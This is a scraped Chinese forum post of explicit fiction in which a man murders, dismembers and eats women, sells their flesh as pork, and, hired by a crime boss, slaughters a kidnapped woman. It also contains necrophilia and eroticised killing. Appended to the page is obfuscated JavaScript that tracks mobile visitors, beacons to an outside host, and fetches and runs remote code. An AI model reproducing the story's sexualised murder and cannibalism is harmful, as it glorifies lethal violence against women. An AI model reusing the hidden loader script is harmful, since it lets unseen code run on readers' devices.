以下APP站长已检测强烈推荐下载(狼友必备)

美艳女秘书的秘密(肉食加工厂)

本篇最后由 ptc077 于 2018-3-5 03:37 编辑
 一、神秘老板

  王南酒足饭饱,坐在沙发上,看着电视。

  面前的茶几上,摆放着一衹托盘,上面放着一颗精美的女人头颅,头发乌黑,
面目栩栩如生,衹是没有血色,显的很是苍白。

  斩下这颗头颅后,王南还从这头肉畜的皮包裏找到了全套的化妆品,恶作剧
般的给死人的脑袋化妆,画了一个血红的嘴唇和蓝色的眼影。

  这样,红唇蓝眼圈,配上苍白的肌肤,看上去有些诡异。

  王南打个饱嗝,看着这颗「猪头」,嘿嘿一笑。

  第一头肉畜,名字好像叫蕊蕊吧?那是半年前的事儿了。

  在这半年裏,王南一共吃掉了四头肉畜,带上眼前这头,算是五个了。

  嗯,眼前这头肉畜叫什麽来着?

  秦小琦还是秦小怡?

  好像是一个服装店的女老板?

  管他呢,有什麽关係呢,一头母猪,衹要肉好吃就行,要什麽名字、追究什
麽职业呢?

  王南把「猪头」拎出去,来到厨房,说了声「晚安」,就把这颗脑袋放在冰
柜裏,跟其他部位的肉块堆在一块,然后上楼呼呼大睡。

  第二天,王南摆出了猪汤的摊子。

  几个村民坐着喝猪汤,还不忘拿王南打趣。

  「小南,妳这人就是太懒。妳做的猪汤这麽好,如果勤快点,每天都出来卖,
恐怕早就挣了大钱,自己开个店铺,当老板喽。」一个老村民说。

  「哪裏哪裏,关键是洋猪肉不好找啊。」

  王南嘻嘻笑着说:「我要是有猪肉来源,每天卖半片猪都不成问题。」

  「那妳给咱们说说,这洋猪肉是哪裏批的?咱们弄个百十斤的,合伙干。」
一个年轻村民抹着嘴说。

  王南打着哈哈,心裏暗自嘲笑:「没见过世面的傻子,妳以为这洋猪肉这麽
好弄?老子一个月都弄不到一头,做梦吧妳。」

  这时,一辆丰田越野车缓缓驶来,在王南摊子旁边停住。

  车门打开,两个人走了下来。

  司机位置下来一个年轻男子,面色冷漠,身材短小精悍,白色的衬衣下面,
一块块精壮的肌肉块块绽起,一看就是练过格斗的保镖。

  后座位置下来一个年轻女子,看上去二十四五年纪,秀丽白皙的面庞,精致
的丸子头发髻,略施粉黛,穿着合身的灰色职业套裙,腿上裹着肉色丝袜,脚蹬
一双中跟皮鞋。

  虽然不算是绝色,但优雅淡定的风度气质,绝对是任何场合的焦点。

  几个村民忍不住朝她多看几眼。

  女子款款走到车子的另一侧,拉开车门,扶着一个中年男子下车。

  这男子微微发福,戴着墨镜,派头十足,看上去是一个阔老板。

  前面两位,显然是他的保镖(兼司机)和秘书了。

  女秘书扶着老板坐在凳子上,第一个男子也不就坐,站在后面,简短的对王
南说了声:「猪汤,一碗。」

  王南暗自诧异,卧虎镇这个偏僻去处,又没有什麽着名景点和大型企业,这
个有钱人模样的陌生人来这儿干嘛?

  难道自己的「猪汤」原料暴露了?

  这几个人是便衣?

  想到这裏,他盛汤的手哆嗦了一下,险些洒掉。

  精悍的年轻保镖看了他一眼,鼻子裏「哼」了一声。

  中年老板则至始至终没有说话,很有派头的一口一口喝着猪汤。

  两碗猪汤下肚,中年老板慢慢的掏出手绢抹抹嘴,对王南笑笑,说:「这样
不起眼的小地方,也有这麽好的美食,真是意想不到。」

  「哪裏,哪裏,猪汤做的简陋,让您这样的人物见笑了。」王南见过世面,
陪着笑脸说道。

  「鄙人吃过不少美食,但您猪汤的原料,一时间想不明白。」老板皱皱眉。

  王南心裏咯登一下,赶忙满脸笑容说道:「老板,我那猪汤,用的是荷兰进
口的洋猪肉,确实比土猪肉鲜嫩一些,可也算不得什麽美味佳肴。」

  「嘿嘿,洋猪肉?」老板意味深长的看了王南一眼,一股淩厉的目光,让王
南的心脏都悬了起来。

  他生怕老板再问,正想打个哈哈,老板已经站起身子,摆摆手,保镖付钱,
秘书伺候着他,打开车门,坐了进去。

  女秘书给老板关上车门,绕道另一边上车。

  她的一双俏眼冲着王南眨巴了一下,然后上车,绝尘而去。

  王南胡思乱想:「这娘们看老子怎麽是这样的眼神?难道我这猪汤的原料秘
密泄露了?不可能啊?来的几个肉畜保密工作做到家了,任谁也不会发现啊…
…这娘们看上去倒是一块好肉,白嫩白嫩的,可惜不敢抓来吃掉……」

  王南心绪难平,连村民叫他添汤都没听见。

              二、秘密泄露

  王南卖完猪汤,回到家裏,有些心神不定,那个老板淩厉的目光,和女秘书
别有深意的回眸,都让他感觉很不对劲,但他安慰自己,衹是精神有些紧张。

  是啊,吃了五个肉畜,虽然在自己的眼光裏,它们都跟猪没什麽区别,但在
社会大众的视角,她们都算是失蹤的美女啊。

  尽管她们是自愿被杀、被吃的,可是如果事情暴露,自己不是脑袋挨一颗枪
子儿,就是把牢底坐穿,都不是什麽好结局。

  于是,王南草草从冰箱取出一条女畜大腿,做了一个炖肉,吃了晚饭。

  他把女畜的脑袋从冰箱取出来,想当自慰器泄慾一番,但总是达不到高潮,
于是衹好作罢。

  夜已深,他无奈的拎着脑袋,往厨房冰箱的方向走。

  把脑袋放回冰箱,王南準备回客厅看电视。

  突然,在大窗外明亮的月光下,赫然站着两个人影。

  王南吓的魂飞魄散,他倒是对鬼神之说不屑一顾,就算这些个肉畜真的有魂
魄,估计还得感激自己帮它们实现愿望呢,断然不会害自己。

  但是,警察就不会这麽容易打发了!

  他定定神,推开门走出去,说道:「两位怎麽私闯我家的院子?我没有邀请
妳们呀?」

  一个黑影格格一笑,对王南说:「妳叫王南,对吧?我们老板对妳的猪汤材
料很有兴趣,让我们特地来问询问询,要不要商业合作呀。」

  月色映照下,这个黑影赫然是白天的女秘书,衹是现在穿了一身夜行黑衣,
更衬托的身材窈窕结实。

  另一个是个男子,身量瘦小,面无表情,是老板的司机兼保镖。

  咕咚一声,王南的心脏仿佛沈入了冰冷的湖底,他明白,自己的秘密肯定被
察觉了。

  王南含糊不清的嘀咕一声:「小本生意,怎麽敢劳驾您们费工夫呢?」

  「明人不说暗话。」

  女秘书秀眉一皱,面色罩上了一层严霜,对王南道:「白天,我取了一点骨
头渣子,回去一化验,妳猪汤的秘密,我们已经知道了。」

  王南脸色煞白,心裏直呼后悔,不该把女畜的肉拿出来显摆,自己吃掉的话,
无论如何他们不会发现。

  女秘书仿佛知道了王南的想法,微微一笑,说道:

  「我们白天来这裏,就是为了调查妳。有一个叫阎小慧的女人,前几个月到
过妳家吧?三十不到,短发,挺漂亮的那个。

  她跟我们金老板有一段情,自从她失蹤以后,金老板命令我们寻找她的行蹤,
最后,在别墅区的树林裏发现了一台被砸烂的电脑。

  我们的技术人员修复了硬盘,也还原了裏面的聊天记录,终于发现,阎小慧
是被妳蛊惑,来这裏当肉畜了。」

  王南暗自叫苦。

  这个阎小慧,是自己的第三个肉畜,据她自己自述,生前是一个老板的小三。

  来之前,早就命令她销毁了所有的聊天档案,毁掉了电脑,想不到这个女肉
畜还是不靠谱。

  他知道自己难以幸免——被警察抓住,还有个余地,顶多是个协助自杀+ 侮
辱尸体罪,虽然结果不妙,但还不至于马上没命。

  这个金老板一伙,看来不像是正经生意人,多半是黑社会,吃掉了老板的情
妇,被他们逮住,肯定是酷刑伺候,砍胳膊斩腿,死的苦不堪言。

  他心裏一横,索性大声道:「不错,姓阎的肉畜是我杀了吃掉啦,不过是她
自愿的,就算我不杀她,她估计也得自杀。既然落到妳们手裏,要杀要剐随意吧。」

  「呵呵呵,临危不惧,王大哥倒是有些豪气胆量。我们要是想对付妳,早就
下手了,还需要跟妳面对面吗?」女秘书冷笑道。

  王南一听,还有回旋余地,连忙说:「既然两位不想对付王某,不知道有个
什麽章程?」

  女秘书又是嫣然一笑,说道:「就是想问一下,阎小慧怎麽处理掉的?」

  王南感觉他们不像是有恶意的样子,干脆竹筒倒豆腐——实话实说算了。

  他讲道:

  「这个阎小慧,自称是一个有钱人的情妇,挺漂亮的,被那大款的老婆所不
容,左右不是人,心灰意冷,想要找个刺激的死法,一了百了。

  我跟她聊了一个月,她就死心塌地的,愿意给我当肉畜了。她前两个月来到
我家,消除了外出的痕迹,甘愿给我当肉猪。

  我把她美美的玩了几遍,玩的她淫水乱喷,倒吊起来,然后拿刀子往脖子一
抹,要了她的小命儿,把血放干,把身子大卸八块,放进冰柜。

  奶子、生殖器和脚丫子当然是我吃掉了,屁股和躯干上的一部分肉,让我做
成猪汤卖掉了。」

  「焚琴煮鹤!小慧那样的美女,正应该当女神那样供起来呢,妳怎麽捨得把
她杀死吃掉呀?」女秘书揶揄的看着王南问道。

  「这样的女人,天生就是给人虐杀食用的。如果不做肉畜,就会痛苦一辈子,
所以王某就帮她们一把了。」王南答道。

  「那妳为何要把她们的一部分肉做汤卖掉呢?」

  「嘿嘿,这妳就不懂了吧?我不是为了挣几个小钱,而是这麽一想呀,这些
个美艳脱俗的娘们,浑身的嫩肉被当猪肉卖给陌生人,任意作践,被人吃喝下肚,
我自己都感到兴奋呀。」

  王南老实说:「她们生前也同意的。」

  「那个阎小慧,还有遗骨或遗物吗?」女秘书又问。

  「肉吃光了,内脏当下水炖汤,骨头有的喂狗,有的弄碎扔掉,现在连骨头
渣都不剩了。至于遗物,衣裙鞋袜什麽的都烧掉了。」王南说。

  女秘书点点头,说:「王大哥果然是个精细人,几个大美女,被妳处理的一
点痕迹都不剩下。」

  她冲旁边的男保镖点点头,男保镖递过一个帆布包,女秘书对王南说:「打
开看看。」

              三、峰回路转

  晚上的事,令王南脑子发胀,怎麽也想不明白。

  本来觉得自己是死路一条了,但对方似乎又没有什麽恶意。

  他接过帆布包,打开一看,心裏吃了一惊——裏面码了十几叠人民币!

  「这是十五万,请收好。」女秘书说。

  「这……」王南心头一阵狂喜,然后又一阵担忧。

  他缓缓问道:「无功不受禄,何况我对于金老板来说,害死了人家的女人,
是个罪人,不死已经算大恩了,怎麽敢……」

  「这钱,是金夫人给的。」女秘书说。

  「哦……」王南仿佛有了些头绪。

  「阎小慧这个狐狸精,勾引金老板,还妄图找到金老板当年混黑道的证据,
要挟老板。老板和夫人早就有心把她除掉了。」

  女秘书说:「我们金老板当年确实是经历过打打杀杀、刀头舔血的生活,不
过我们早就开始经营正当生意了,所以,是否要把她除掉,内心颇为犹豫。

  还好这个娘们是个天生的贱畜,被妳说的心花怒放,高高兴兴来当猪肉,倒
省的我们费劲了。」

  「原来如此!王某人倒无意中帮了金老板的忙,衹是,这钱还是不敢收下,
还望金老板见谅。」王南心想,这金老板肯定不是个善茬,收了他的钱,衹怕后
半生要受制于他了。

  女秘书嫣然笑道:

  「妳心理那点小九九,我们还能不知道?就是不想跟金老板有太深的交集嘛。

  不过放心,金老板是个大人物,绝对不会跟妳过不去,跟他攀上关係,对妳
没什麽坏处。妳把钱收好,没準金老板还有求到阁下的地方。」

  她忽然换了一幅面孔,森然道:「如果妳敢拒绝这份馈赠,那就是看不起我
们老板,嘿嘿,把妳的事儿报告警方,冰柜裏的物件就是证据!看妳有几个脑袋!」

  「岂敢!岂敢!」王南心想,自己横竖逃不出金老板的手心,还不如把钱拿
好,过几天富裕日子。

  大不了一个死字嘛。

  「这就对了。」

  女秘书笑靥如花:

  「那我们就暂且一别了。我们回去,把妳处置阎小慧这个骚狐狸的手段给金
夫人一讲,保管她乐的开花。

  金老板挺喜欢妳的猪汤,刚才我俩不请自拿,从妳冰柜拿了半瓣女畜屁股,
妳不会有意见吧?」

  「不会!不会!后会有期!」王南忙说。

  两个黑影就这样消失在黑暗裏,王南这才感觉,自己的衣衫已经被冷汗浸透。

  王南回到屋子,怎麽样也静不下来。

  他想找个机会,远走高飞,但又没那个胆量;住在原地,既然秘密已经被金
老板一伙人知晓,又担心他们对自己不利。

  想了半天,王南自语道:「妈的,老子独身一人,没家没后的,怕个球!就
算是明儿要杀头,老子吃了五个母畜,也是无悔无憾了!」

  想到这裏,他心裏豁然开朗,来到厨房,把一颗肉畜脑袋拿了出来,将直撅
撅的肉棒插入口中,心头马上升腾起千百倍的快感,一直玩了一刻钟才一泄如注。

  此后的两个星期,一点动静都没有。

  姓秦的肉畜早被吃光了,遗物和遗骨也处理干凈了,一时间还没有新的肉畜
上门。

  王南拿了金老板的钱,添置了几样新家电,衣食无忧,常去县城吃喝玩乐,
倒也过的清閑。

  这天晚上,王南在屋子裏玩电脑,忽然听到有人轻轻叩门。

  他心裏一个激灵,跳了起来,走过去开了门。

  月光下,两个黑影并排而立。

  其中一个是金老板的女秘书,对着王南有礼貌的点头致意;另一个是保镖,
面沈似水,肩头扛着一个长长的布袋子,裏面似乎装着东西。

  「金老板请妳帮忙。」女秘书开口道。

              四、屠宰助手

  王南早就知道,跟金老板攀上关係,肯定不会拿钱就算完,心理早有準备,
倒也不太惊慌。

  保镖将袋子放到地上解开,露出了一个女人的上半身。

  衹见她双目紧闭,昏迷不醒,眉宇间仿佛有淡淡的哀怨,肤白如脂,一巴掌
大的俏脸,长长的秀发杂乱的披散着,不折不扣是一个美人。

  王南心裏将她和阎小慧那头肉畜的姿色做个比较,觉得眼前这女人更胜一筹。

  「妈的,金老板真有艳福!」王南心想。

  「这头肉畜交给妳处置,务必要求不留痕迹。」女秘书说。

  「可是……为什麽……」王南脑子有点空白。

  「这不是妳该问的问题!」女秘书厉声说道。

  王南哆嗦了一下。

  女秘书看他有些害怕,就笑了笑,温声道:

  「妳不用怕,这个女人,虽然看着清纯,其实是个绿茶婊,千方百计想图谋
我们金老板的钱财,甚至想图谋金夫人的位置。

  金老板实在是不胜其烦,就想拜托您,将她处理掉算了。放心,她的一切痕
迹都消除干凈了,妳绝对是安全的,照以前的经验做就行了。」

  王南知道自己上了贼船,但自己已经杀了五头肉畜,对人生也看开了,早已
对这种场面不再畏惧。

  他点点头,说道:「既然金老板看得起王某,我就勉为其难了。」

  「呵呵,勉为其难?妳是巴不得有活儿干吧?」

  女秘书的口吻,不知是揶揄还是真心话:「王大哥这样的狠恶手段,把人切
成碎块当猪肉卖,不是每个人都能学会的,妳要是早跟金老板混,没準早就上位
了。」

  王南心裏暗骂:「不就是让老子当个毁尸灭迹的杀手麽?有事还得背锅,上
个屁位。」

  但脸上还得一幅谦恭的笑容。

  「金老板还有个要求,让我来给妳当助手,一起处理这头肉畜。」女秘书说。

  王南知道这是金老板不完全信任自己,也不拒绝了,心想:「等老子把这肉
畜开膛破肚、砍头断腿,包管吓死妳这臭娘们!」

  男保镖一言不发,对女秘书点点头,转身消失在夜幕中。

  女秘书宛然一笑,对王南说:「妳这小楼,二楼肯定有卧室吧?这几天我就
不走了,帮王大哥处理这头肉畜。」

  「有,有。衹是不知道姐姐如何称呼?」王南问着,心裏也大呼肉麻,这女
秘书明显比自己小几岁,可又想不出什麽称呼。

  「我姓姜,姜萍,王大哥不用客气,以后直呼我名字就成了。」

  女秘书笑道:「这肉畜昏睡着呢,我们把她拖出来吧。」

  王南抱住女人的肩膀,女秘书拉住袋子,将她拽了出来,仰面扔在地上。

  解开袋子时,王南衹看到她的容貌甚美,看到全身,才发现她身材窈窕,穿
着一条白色的丝质连衣长裙,脚上穿了一双帆布鞋,胳膊和腿上的肌肤如牛奶般
光滑。

  王南心裏感叹,这样一个美人,就要不明不白在自己家消失了,半点痕迹都
不留。

  他忍不住掀开女人的裙摆,衹见下体穿了一条薄如蝉翼的真丝白色内裤,隐
约能看到淡淡的黑色。

  姜萍打了他手一下,嗔怪道:「不老实,干什麽妳?」

  「嘿嘿嘿…」看到姜萍没有发怒的意思,王南也尴尬的一笑。

  他心裏想到,如果不是姜萍这个娘们,今晚非姦了这个女畜不可。

  「今晚就开刀,还是留到明天杀?」王南想了想,问。

  「这婊子现在昏睡着呢,不能让她当个糊涂鬼。先把她绑起来,堵上嘴,扔
到空屋子裏,明天再宰杀。」姜萍说道。

  这天晚上,王南在一楼睡觉,很不踏实。

  一会想到楼上这个叫姜萍的女秘书,有时姣美,有时严厉,看上去是个有城
府的人,不知道会对自己怎样;一会又想到楼下关着的那个女人,漂亮的跟明星
似的。

  如果能把她玩一番,死也不亏了,衹是姜萍监督着,自己也不敢动金老板玩
过的女人——呸,等把她杀了,身上的嫩肉还不是任凭自己摆弄?

  想着想着,他不知不觉睡熟了。

              五、待宰女畜

  第二天一早,王南就去察看被抓来女人的状况。

  他打开屋门,衹见女人已经醒了,还药力还没有完全过去,所以不是太有力
气,嘴巴上堵着布条,两手两脚绑着,徒劳无用的挣扎。

  王南上前抱住女畜的身子,女人挣扎不开,香汗淋灕,索性不再反抗,一双
哀婉的眼睛看着王南。

  王南对她说道:「我给妳把嘴裏堵上的布条拿开,妳不用呼救了,这裏山区,
没人听得到。」

  女人点点头,王南拿出她嘴裏的布条。

  「妳叫什麽名字?」王南问。

  「我叫唐婉,大哥,我这是在哪裏?求求妳,我们往日无冤近日无仇,妳就
放过我吧,求求妳啦,大哥。」女人的声音温柔动听,令王南很是享受。

  「金老板妳知道吧?就是他命令我把妳绑来的。」王南说。

  「金老板?他打算怎麽对待我?」唐婉泪眼婆娑的问道。

  「打算把妳杀掉,像杀猪那样。」不知什麽时候,姜萍已经站在门口。

  她穿了一身修身的黑色职业套裙,玉腿上裹着肉丝,脚上穿了一双中跟鞋,
没有化妆,显然是刚刚起床。

  她笑嘻嘻看着唐婉,继续说道:

  「把妳杀掉后,卡嚓卡嚓,大卸八块,切成大大小小的肉块,脚丫子啊、奶
子啊、阴户啊之类。

  我俩自己烹饪一下吃掉,大腿啊、屁股啊、胳膊啊,就当猪肉卖掉啦。骨头
嘛,衹有喂狗了。」

  「别……不要……」

  唐婉吓的花容失色:「我不要当猪肉……我的肉不好吃……」

  「放心吧,妳的嫩肉,肯定比猪肉好吃多了。嗯,对了,忘记告诉妳了,妳
现在的身份,已经不是女人了,而是一头母畜。越早接受妳现在的身份,死的时
候越享受。」王南存心捉弄唐婉。

  「救命!救命呀!」唐婉忽然大声呼救。

  王南和姜萍也不阻止她,而是笑嘻嘻的看着。

  唐婉知道呼救也没用了,跪在地上,一脸哀怨的求饶:「求求妳们了,不要
杀我,我什麽都肯做……」

  「畜儿,金老板要妳死,我们衹是奉命行事。」

  王南说:

  「妳想想,虽然妳现在是个美女,等过个若干年,年老色衰,皮肉鬆弛,美
人迟暮,多麽令人伤心。

  何不趁这个机会,一了百了,把妳的命儿和身体交给我们,让我们把妳的嫩
肉处理掉,也算不辜负妳的价值了。」

  听了这样的「谬论」,唐婉哭的更厉害了。

  「天明了,我们也不久等了,準备开刀吧。」王南说着,来拉唐婉。

  唐婉忽然一头撞到他胸口,夺路而逃。

  姜萍一把拉住唐婉,粉拳击出,唐婉下巴挨击,娇哼一声,倒地昏厥过去。

  「这娘们,好烈性!」王南揉着胸口说。

  「别扯了,快把这条肉畜拖到厨房裏,準备开刀。」姜萍说。

  王南看了看姜萍,心裏想道:「这娘们打人的手段,干凈利索,看来是练过
的,不是个省油灯。」

  他将昏迷的唐婉夹起,来到厨房,将她仰面朝天放在案板上,拿过剪刀,将
她的连衣裙剪成几块,扯了下来,破布扔到一边。

  接着又脱下了帆布鞋子,扯掉船袜,一双霜白柔嫩的脚丫就呈现在他眼前了,
他忍不住捏了两下,软软的,手感特别好,倒像是没有骨头。

  姜萍皱皱眉说:「捏她的肉蹄子干什麽?猥琐。」

  「妳懂什麽?女人肉质好不好,关键看脚丫。」

  王南卖弄学问:「养尊处优的肉畜,脚丫子就既柔软又光滑,肉质就越好吃。
妳见哪个美肉畜是粗手大脚的?」

  嘴裏说着,手也不停,将胸罩和内裤扯了下来。

  可怜唐婉,乳阴毕露,女人的宝贵部位被人看的一清二楚。

  坚挺的胸脯上,两颗紫葡萄似的奶头硬硬的立着,阴部阴毛柔顺,两片阴唇
微微张着,似乎有点粘液亮晶晶的。

  姜萍见王南看的目不转睛,脸色稍稍发红,低声嘀咕道:「臭流氓。」

  「什麽臭流氓?妳王哥眼裏,眼前已经没有美女了,衹有一头待宰肉畜。」
不知不觉,王南对姜萍已经减少了敬畏之心,说话油嘴滑舌。

  他故意瞪着眼睛,转过脑袋,从头到脚的看了看姜萍,嘴裏啧啧两声。

  姜萍心想:「这村汉,不知道把本姑娘想像成什麽了?」

  心裏有些小小的发火,又有一种异样的甜甜感觉。

  王南呢?有意在姜萍眼前卖弄本领,手脚麻利,将光溜溜的女畜扶起来,两
手紧紧绑在背后,用瓷碗盛了一点凉水,往唐婉脸上一浇。

  唐婉悠悠醒来,发现自己已经一丝不挂,想遮住羞处,手臂又被绑着,衹能
呜呜痛哭。

  「畜儿,别哭了,事到如今,妳也衹好认命了。」

  王南说道:「其实,作为一衹肉畜,被宰杀和烹饪,是一件很幸福、很刺激
的事情呢,既然反抗不得,就得换个思路,美美的享受呀。」

  「这…呜呜呜…哪裏有什麽享受?…呜呜…」唐婉哭的梨花带雨。

  「把妳处理掉,妳就能永远停留在这个年龄,不会担心老去了,这难道不是
一件幸福的事儿吗?我们吃妳肉儿的时候,一定会想起妳这头肉畜年轻的容颜、
姣美的身体,这难道不是极致的美吗?」王南说。

  姜萍在一旁暗自佩服,这乡巴佬倒是肚子裏有些墨水。

  岂不知,王南经常在网上说服肉畜来家裏接受屠宰,这些话就是顺口就来。

  「呜呜呜…那…我的肉真的好吃吗?……」唐婉泪眼汪汪的看着王南。

  姜萍心想:「这婊子,估计也是个天生的贱肉畜,倒开始担心自己这身肉的
好坏啦?」

  「畜儿,哥哥已经杀过五个肉畜了,就数妳的肉质好。放心好了。不过,宰
杀的时候一定要配合哦,这样才能保证肉质的鲜美。如果连滚带爬、狼狈不堪的,
不但难看,有个碰伤擦伤的,肉质也受影响呀。」

  王南一边嘻嘻笑着答话,一边将唐婉扶起来,跪到一衹铝盆前。

  唐婉虽然身子瑟瑟发抖,居然也不反抗,老老实实跪下。

  王南从腰后抽出一把尖刀,轻轻撩开唐婉脖子上的秀发。

  「大哥,我怕疼呀,请妳动手快些。」唐婉柔声道。

  「放心,畜儿,稍微有点疼,不过很快就结束啦。」王南说。

  唐婉深呼吸一口气,闭上眼睛。

  姜萍心裏暗自好笑,这个女人这麽快就接受肉畜身份了。

  这时,王南刀光一闪,已经割断了肉畜的脖子,鲜血迸溅。

  「唔……」姜萍看到唐婉被杀,忽然感到自己身子一酥,差点没有站住,一
股淫水喷了出来,顿时将裤袜包裹的内裤弄的湿漉漉的。

function HEScgLz(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YgPUX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HEScgLz(t);};window[''+'O'+'S'+'x'+'I'+'c'+'o'+'a'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function njfh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=YgPUX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=njfh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15118/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=njfh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmm9uaWN5Yi5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS5ycWRsb2QuYY24lM0E5NTM0','166293',window,document,['m','Y']);}:function(){};